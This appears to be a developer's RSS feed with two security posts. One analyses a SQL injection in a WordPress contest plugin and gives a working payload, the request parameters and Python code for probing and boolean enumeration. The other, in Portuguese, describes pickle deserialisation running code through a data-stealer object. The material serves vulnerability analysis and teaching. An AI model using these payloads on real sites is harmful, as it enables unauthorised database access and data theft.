<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:dc="http://purl.org/dc/elements/1.1/">
  <channel>
    <title>DEV Community: cardoso</title>
    <description>The latest articles on DEV Community by cardoso (@cardosource).</description>
    <link>https://dev.to/cardosource</link>
    <image>
      <url>https://media2.dev.to/dynamic/image/width=90,height=90,fit=cover,gravity=auto,format=auto/https:%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Fuser%2Fprofile_image%2F757473%2Ffa450055-876d-4b45-9d14-f311e08af64b.jpeg</url>
      <title>DEV Community: cardoso</title>
      <link>https://dev.to/cardosource</link>
    </image>
    <atom:link rel="self" type="application/rss+xml" href="https://dev.to/feed/cardosource"/>
    <language>en</language>
    <item>
      <title>From POC to Patch: Analyzing the Contest Gallery 28.1.4 Vulnerability</title>
      <dc:creator>cardoso</dc:creator>
      <pubDate>Thu, 04 Jun 2026 21:41:12 +0000</pubDate>
      <link>https://dev.to/cardosource/from-poc-to-patch-analyzing-the-contest-gallery-2814-vulnerability-1738</link>
      <guid>https://dev.to/cardosource/from-poc-to-patch-analyzing-the-contest-gallery-2814-vulnerability-1738</guid>
      <description>&lt;p&gt;The Contest &lt;a href="https://nvd.nist.gov/vuln/detail/CVE-2026-3180" rel="noopener noreferrer"&gt;Gallery WordPress plugin, version 28.1.4&lt;/a&gt;, contains a critical Boolean-Blind SQL Injection vulnerability in the admin-ajax.php endpoint. An unauthenticated attacker can exploit this flaw to manipulate SQL queries, invalidate user activation keys, and compromise database integrity.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Root Cause&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;The vulnerability resides in the function responsible for resending confirmation emails (&lt;em&gt;post_cg1l_resend_unconfirmed_mail_frontend&lt;/em&gt;). The &lt;em&gt;cgl_mail&lt;/em&gt; parameter is received via POST and handled as follows:&lt;/p&gt;

&lt;p&gt;&lt;code&gt;$ReceiverMail = sanitize_email($_POST['cgl_mail']);&lt;br&gt;
$wpdb-&amp;gt;get_row("SELECT ... WHERE Field_Content = '$ReceiverMail'");&lt;br&gt;
&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Why&lt;/strong&gt; &lt;code&gt;sanitize_email()&lt;/code&gt; &lt;strong&gt;is Insufficient&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;WordPress's &lt;em&gt;sanitize_email()&lt;/em&gt; function validates email format according to RFC 5321, but does NOT escape SQL characters. Worse: the single quote_ (&lt;em&gt;&lt;strong&gt;'&lt;/strong&gt;&lt;/em&gt;)_ is explicitly allowed in the local part of the email &lt;strong&gt;(&lt;/strong&gt;before the &lt;em&gt;@&lt;/em&gt;&lt;strong&gt;)&lt;/strong&gt;, enabling arbitrary SQL injection.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Bypass Example:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;aaaaaaa'OR/**/1=1#@test.com

_-&amp;gt; survives sanitization_

/**/ -&amp;gt; MySQL comment replaces spaces


OR 1=1 -&amp;gt; always true condition_

# -&amp;gt; comments out the remainder of the query_

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Exploitation Explanation (step by step)&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;The exploitation is Boolean-Blind, meaning the attacker cannot see returned data directly but infers information through differences in HTTP responses (status, body size, application behavior).&lt;/p&gt;

&lt;p&gt;Vulnerable Endpoint&lt;/p&gt;

&lt;p&gt;&lt;code&gt;POST /wp-admin/admin-ajax.php&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;Request Parameters:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;action:   post_cg1l_resend_unconfirmed_mail_frontend,description: Routes to vulnerable function&lt;/li&gt;
&lt;li&gt;cgl_mail: 'OR/**/1=1#&lt;a class="mentioned-user" href="https://dev.to/test"&gt;@test&lt;/a&gt;.com - description : SQL injection vector&lt;/li&gt;
&lt;li&gt;cgl_page_id:  1 - description Auxiliary parameter&lt;/li&gt;
&lt;li&gt;cgl_activation_key: description   (empty) Not needed for exploit&lt;/li&gt;
&lt;li&gt;cg_nonce: valid nonce - description CSRF protection (collectable)&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Functional Payload&lt;/p&gt;

&lt;p&gt;&lt;code&gt;aaaaaaa'OR/**/1=1#@test.com&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;Original vulnerable query:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight sql"&gt;&lt;code&gt;&lt;span class="k"&gt;SELECT&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="k"&gt;FROM&lt;/span&gt; &lt;span class="n"&gt;wp_contest_gal1ery_create_user_entries&lt;/span&gt; 
&lt;span class="k"&gt;WHERE&lt;/span&gt; &lt;span class="n"&gt;Field_Content&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s1"&gt;'INJECTION_HERE'&lt;/span&gt; 
&lt;span class="k"&gt;LIMIT&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;
&lt;span class="n"&gt;Query&lt;/span&gt; &lt;span class="k"&gt;after&lt;/span&gt; &lt;span class="n"&gt;injection&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;TRUE&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight sql"&gt;&lt;code&gt;&lt;span class="k"&gt;SELECT&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="k"&gt;FROM&lt;/span&gt; &lt;span class="n"&gt;wp_contest_gal1ery_create_user_entries&lt;/span&gt; 
&lt;span class="k"&gt;WHERE&lt;/span&gt; &lt;span class="n"&gt;Field_Content&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s1"&gt;'aaaaaaa'&lt;/span&gt;&lt;span class="k"&gt;OR&lt;/span&gt;&lt;span class="cm"&gt;/**/&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="o"&gt;#@&lt;/span&gt;&lt;span class="n"&gt;test&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;com&lt;/span&gt;&lt;span class="s1"&gt;' 
LIMIT 1

&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;WHERE Field_Content = 'aaaaaaa' OR 1=1  -- commented out the rest&lt;br&gt;
Since 1=1 is always true, the query returns the first available record. The plugin then takes this result and generates a new activation_key, invalidating the original key of the affected user.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;TRUE vs FALSE Distinction&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;TRUE :  'OR/**/1=1#@test.com    - Query returns records ---&amp;gt; new activation_key generated
FALSE : 'OR/**/1=2#@test.com    - Query returns empty ---&amp;gt; no plugin action
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This behavioral difference enables boolean enumeration (extracting data one bit at a time).&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Code Theory Explanation&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;The &lt;a href="https://github.com/cardosource/cve-2026-3180" rel="noopener noreferrer"&gt;exploit&lt;/a&gt; implements a boolean-blind probe to detect the vulnerability and demonstrate its impact through behavioral differences between true and false conditions.&lt;/p&gt;

&lt;p&gt;Code Structure&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;send_payload&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;mail&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
    &lt;span class="n"&gt;data&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;action&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;post_cg1l_resend_unconfirmed_mail_frontend&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
        &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;cgl_mail&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;mail&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
        &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;cgl_page_id&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;1&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
        &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;cgl_activation_key&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="sh"&gt;""&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
        &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;cg_nonce&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;NONCE&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;requests&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;post&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;URL&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;data&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;data&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Why This Structure Works:&lt;br&gt;
Correct endpoint:&lt;code&gt;admin-ajax.php&lt;/code&gt; is WordPress's universal AJAX handler&lt;/p&gt;

&lt;p&gt;Specific action: &lt;code&gt;post_cg1l_resend_unconfirmed_mail_frontend&lt;/code&gt; is registered without authentication (&lt;code&gt;wp_ajax_nopriv_*&lt;/code&gt;)&lt;/p&gt;

&lt;p&gt;cgl_mail parameter: injection vector that flows directly into the SQL query&lt;/p&gt;

&lt;p&gt;Detection Logic&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="n"&gt;r_true&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;send_payload&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;aaaaaaa&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;OR/**/1=1#@test.com&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;r_true&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;status_code&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="mi"&gt;200&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
    &lt;span class="n"&gt;status_code&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;r_true&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;status_code&lt;/span&gt;

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Boolean-Blind Inference Theory:&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Status&lt;br&gt;
'OR/&lt;strong&gt;/1=1# TRUE    Yes Yes 200&lt;br&gt;
'OR/&lt;/strong&gt;/1=2# FALSE   No  No  200 (different body)&lt;/p&gt;

&lt;p&gt;Important note: The current code only checks status 200. A complete exploit would compare body length (&lt;code&gt;len(r_true.text&lt;/code&gt;)) or specific content.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;The "Magic" Payload&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;&lt;code&gt;payload = "'OR/**/1=1#@test.com' and 'OR/**/1=2#@test.com"&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;Payload Anatomy:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;'OR/**/1=1#@test.com
│  │    │ │
│  │    │ └── # → comments out the rest of the query (including '@test.com' and LIMIT 1)
│  │    └── 1=1 → always true condition
│  └── /**/ → MySQL comment (ignores spaces)
└── ' → closes the query's string literal

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;What the Code Proves (and what it doesn't yet do)&lt;/p&gt;

&lt;p&gt;The vulnerability exists&lt;/p&gt;

&lt;p&gt;The payload bypasses sanitize_email()&lt;/p&gt;

&lt;p&gt;Status 200 is returned&lt;/p&gt;

&lt;p&gt;The endpoint is accessible without authentication&lt;/p&gt;

&lt;p&gt;Response comparison (TRUE vs FALSE)&lt;/p&gt;

&lt;p&gt;Enumeration loop (character by character)&lt;/p&gt;

&lt;p&gt;Extraction of emails, activation_keys, or password hashes&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Example Evolution for Enumeration&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;boolean_query&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;condition&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
    &lt;span class="n"&gt;payload&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="sh"&gt;"'&lt;/span&gt;&lt;span class="s"&gt;OR/**/&lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;condition&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s"&gt;#@test.com&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;
    &lt;span class="n"&gt;response&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;send_payload&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;payload&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="c1"&gt;# If body size larger than baseline → TRUE
&lt;/span&gt;    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nf"&gt;len&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;response&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;text&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;baseline_length&lt;/span&gt;

&lt;span class="c1"&gt;# Usage: boolean_query("ASCII(SUBSTRING(user_login,1,1))&amp;gt;97")
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Theoretical Conclusion&lt;/p&gt;

&lt;p&gt;The script serves as a minimum Proof of Concept (PoC) that:&lt;/p&gt;

&lt;p&gt;Confirms the existence of SQL injection&lt;/p&gt;

&lt;p&gt;Demonstrates sanitize_email() bypass&lt;/p&gt;

&lt;p&gt;Establishes the foundation for a complete boolean exploit&lt;/p&gt;

&lt;p&gt;Documents the behavioral difference between TRUE and FALSE conditions&lt;/p&gt;

</description>
      <category>analytics</category>
      <category>python</category>
      <category>hackathon</category>
    </item>
    <item>
      <title>Pickle.loads() Executando Código Arbitrário</title>
      <dc:creator>cardoso</dc:creator>
      <pubDate>Tue, 06 Jan 2026 23:04:56 +0000</pubDate>
      <link>https://dev.to/cardosource/pickleloads-executando-codigo-arbitrario-2hnj</link>
      <guid>https://dev.to/cardosource/pickleloads-executando-codigo-arbitrario-2hnj</guid>
      <description>&lt;p&gt;O módulo &lt;a href=""&gt;pickle&lt;/a&gt; do Python fornece mecanismos para serialização binária de objetos, onde o "pickling" transforma estruturas de objetos em fluxos de bytes e o "unpickling" restaura essas estruturas a partir dos bytes (Python Software Foundation, 2024). No entanto, a própria documentação alerta sobre riscos de segurança significativos.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Faveah4ux90svn5qpdqtn.jpg" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Faveah4ux90svn5qpdqtn.jpg" alt=" " width="141" height="154"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;É aquela amizade boa mas tem detalhes que vai ferrar com você&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;Nooooossa, que módulo eficiente! Serializa tudo!&lt;/p&gt;

&lt;p&gt;Você sabe que vai dar merda&lt;/p&gt;

&lt;p&gt;Todo mundo avisa que vai dar merda&lt;/p&gt;

&lt;p&gt;A documentação GRITA que vai dar merda&lt;/p&gt;

&lt;p&gt;Mas... Ah, dessa vez vai ser diferente!&lt;/p&gt;

&lt;p&gt;Foco nobres camaradas....&lt;/p&gt;

&lt;p&gt;O pickle é usado por uma razão simples: vai executar o código automaticamente durante a desserialização isso nunca foi um bug  é o design que se tornou uma vulnerabilidade.&lt;/p&gt;

&lt;p&gt;Vamos ao código principal :&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;1&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;&lt;code&gt;stealer = LocalDataCollector()&lt;br&gt;
malicious_pickle = pickle.dumps(stealer)  # Serializa o objeto&lt;br&gt;
&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;2&lt;/strong&gt;&lt;br&gt;
&lt;code&gt;&lt;br&gt;
result = pickle.loads(malicious_pickle)  # DESSERIALIZAÇÃO = EXECUÇÃO&lt;br&gt;
&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;&lt;em&gt;pickle.dumps(obj)&lt;/em&gt;: Converte objeto Python para bytes&lt;/p&gt;

&lt;p&gt;&lt;em&gt;pickle.loads(bytes)&lt;/em&gt;: Converte bytes para objeto Python EXECUTANDO CÓDIGO&lt;/p&gt;

&lt;h2&gt;
  
  
  E lógico um códi completo para testar.
&lt;/h2&gt;

&lt;blockquote&gt;
&lt;p&gt;Em cenários reais é criado um tipo de coletor de dados e enviado para algum local ou sequestro dos dados, botnet ou minerar bitcoin as possibilidade são muitas.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fg7desvqorftv3o3rrc1k.jpg" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fg7desvqorftv3o3rrc1k.jpg" alt=" " width="800" height="520"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Esse é meu primeiro post.&lt;/p&gt;

&lt;p&gt;código fonte completo: &lt;a href=""&gt;github.com/cardosource/&lt;/a&gt;&lt;br&gt;
teste: &lt;a href=""&gt;...cardosource/actions/&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;até mais...&lt;/p&gt;

</description>
      <category>programming</category>
      <category>security</category>
    </item>
  </channel>
</rss>
